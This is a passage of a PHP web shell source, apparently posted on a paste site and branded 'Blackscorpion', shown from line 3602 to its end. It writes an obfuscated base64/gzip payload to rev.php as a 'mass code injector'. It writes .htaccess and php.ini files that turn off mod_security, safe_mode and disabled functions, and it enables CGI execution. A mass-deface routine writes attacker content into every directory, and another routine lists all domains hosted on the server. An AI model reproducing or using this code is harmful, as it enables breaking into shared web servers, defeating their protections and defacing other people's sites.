vu1m1UppmJH1PWSAcWqVDhyzlyVb96RWlEi9youG2qw9ftMxV2y/KsWysMrhi/JSlRVrPxcXSvuGkmJRBem3+ibTXbtqI+WSTcE9lj3qXb0ZCpc1LN8txN7gCquW60tsYnrOLRWJ1GrY37GEeelrFsF8mbENNmmsL2g2LzYG9Y1uw9NdEyffEnhV7W8NvyqC6pFiwu2XwMkZ+FjZ8WGWmBgrQMwUrwb13UPcvqcKfvrrCLhZ2LPL+yUQXs9ThCmzq1hP8apowtfc63vdbtCpLiJvh8Pb0VvkWONlyIzEeGRfa05qt5bB2d3F7XB0fXrVr4Ev8TKKh95Ig7LvP4hhGHYadL4qY1IWG8Q3QLjj94z9YJbrlde3MtqODc2gqJLExMzJp+DHgx8+BcS8V+LE9wqfzDsAHhm4gofOp6AoYBzcZctHqDDFwWixu7tLereNyhQUwn5piLb7SLZCOrv9LMV7nTUk3mU5qrlX6VpXxevywVmzR9BLa5btBC7MXADXx6VkBRVzoTdaMG7olPwKCms42LSggHvPjKMUCoqJnFhBnegNKZ1ODnIXY6oTEFve7S9S39i6I2FhGqht2yClkKNMTAKyBeKu/76NQCfVNI5BqW0AiNthnG3bpsmM8W2bbEYnsJWy3d2+OWmRaLZq5WtHWzUe69zUItoAUFpqDPklyD0sODjzfgvNjsTGrpyjF/fJX8ghevrESRM0fF6lGR5MeMcvP9qMsDfmU19XUwljv45BZ0ljwJU1srZmsqo8K6rMbZzSLluL7yRLPpFQfhGxqe2PQZfetVJcNRuPR9XShfJ9EySNJN+SVjtW9pG905dV2LSrRRU+3N8M3Dmxr94jtNnIP0QWdq9jWBisQOswIalo1eH/oVLIshE8QOzfnbDZieSC+ORqvhbZokXK8Zdi9KUqaPbPTrMlqZ+GmxrATaNtp6a7tmxsb+1GfSldb+ScaxoPgi4YayFX/1TlPgPZD1XuMfjl55NNr2nbg9nwW8NoBG0jXrqtOqz1FHZaXUHcBcV/if0f";
  3602. $handle = @fopen("rev.php", "w");
  3603. @fwrite($handle, htmlspecialchars_decode(gzinflate(base64_decode($rev))));
  3604. @fclose($handle);
  3605. ?>
  3606. <center><h1>Rev Mass Code Injector</h1><br><br>
  3607. <iframe src="rev.php" width="100%" height="700"></iframe>
  3608. </center>
  3609. <?php
  3610. printFooter();
  3611. }
  3612.  
  3613. function actionBypass() {
  3614. printHeader();
  3615. echo '<h1>Safe Mode</h1>';
  3616. echo '<div class="content">';
  3617. echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
  3618. echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  3619. if(!empty($_POST['p2']) && isset($_POST['p2']))
  3620. {
  3621. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  3622. fwrite($fil,'<IfModule mod_security.c>
  3623. Sec------Engine Off
  3624. Sec------ScanPOST Off
  3625. </IfModule>');
  3626. fclose($fil);
  3627. }
  3628. if(!empty($_POST['p1'])&& isset($_POST['p1']))
  3629. {
  3630. $fil=fopen($GLOBALS['cwd']."php.ini","w");
  3631. fwrite($fil,'safe_mode=OFF
  3632. disable_functions=NONE');
  3633. fclose($fil);
  3634. }
  3635. if(!empty($_POST['p3']) && isset($_POST['p3']))
  3636. {
  3637. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  3638. fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  3639. AddType application/x-httpd-cgi .sh
  3640. AddHandler cgi-script .pl
  3641. AddHandler cgi-script .pl');
  3642. fclose($fil);
  3643. }
  3644. echo "<br><br /><br /></div>";
  3645. echo '</div>';
  3646. printFooter();
  3647.  
  3648. }
  3649.  
  3650. function actionDeface() {
  3651. printHeader();
  3652. echo "<center><h1>Mass Deface</h1><div class=content>";
  3653. ?>
  3654. <center>
  3655. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">Folder: <br><input type=text name=path size=60 value="<?php echo getcwd(); ?>">
  3656. <br>File name: <br><input type=text name=file size=20 value="Blackscorpion.html"><br>Content:
  3657. <br> <textarea type=text name=Contents cols=70 rows=15 placeholder="Deface Page Here :)"></textarea>
  3658. <br><input type=submit value="Deface now"></p></form>
  3659.  
  3660. <?php
  3661. if ($_POST['a'] == 'Deface') {
  3662. $mainpath = $_POST[p1];
  3663. $file = $_POST[p2];
  3664. $txtContents = $_POST[p3];
  3665.  
  3666. $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
  3667. while ($row = readdir($dir)) {
  3668. $start = @fopen("$row/$file", "w+");
  3669. $code = $txtContents;
  3670. $finish = @fwrite($start, $code);
  3671. if ($finish) {
  3672. echo "http://$row/$file<br>";
  3673. }
  3674. }
  3675.  
  3676. }
  3677. echo '</div>';
  3678. printFooter();
  3679. }
  3680. function actionDomain() {
  3681. printHeader();
  3682. echo '<h1>Local Domains</h1><div class=content>';
  3683. $file = @implode(@file("/etc/named.conf"));
  3684. $Domain_path = "/var/named";
  3685. if (!$file) {
  3686. $domains = scandir($Domain_path);
  3687. $count=1;
  3688. $dc = 0;
  3689. echo "<table align=center border=1 width=59% cellpadding=5>
  3690. <tr><td colspan=2><center>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.</center></td></tr>
  3691. <tr><td>No</td><td>Domains</td><td>User</td></tr>";
  3692. foreach ($domains as &$domain) {
  3693. if (stripos($domain,".db")) {
  3694. $domain = str_replace('.db','',$domain);
  3695.  
  3696. }
  3697. if (strlen($domain) > 6) {
  3698.  
  3699. echo "<tr><td><a href='http://".$domain."' target='_blank'>".'http://'.$domain.'/index.php'."</a></td><td></td></tr>";
  3700. }
  3701. }
  3702. echo "</table>";
  3703. } else{
  3704. $count = 1;
  3705. preg_match_all("#named/(.*?).db#", $file, $r);
  3706. $domains = array_unique($r[1]);
  3707. echo "<table align=center border=1 width=59% cellpadding=5>
  3708. <tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
  3709. <tr><td>Domains";
  3710. foreach ($domains as $domain) {
  3711. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
  3712. echo "<tr><td><a href='http://".$domain."' target='_blank'>".'http://'.$domain.'/index.php'."</a></td><td></td></tr>";
  3713. }
  3714. }
  3715. printFooter();
  3716. }
  3717. if( empty($_POST['a']) )
  3718. if(isset($default_action) && function_exists('action' . $default_action))
  3719. $_POST['a'] = $default_action;
  3720. else
  3721. $_POST['a'] = 'SecInfo';
  3722. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  3723. call_user_func('action' . $_POST['a'])
  3724. ?>
Add Comment
Please, Sign In to add comment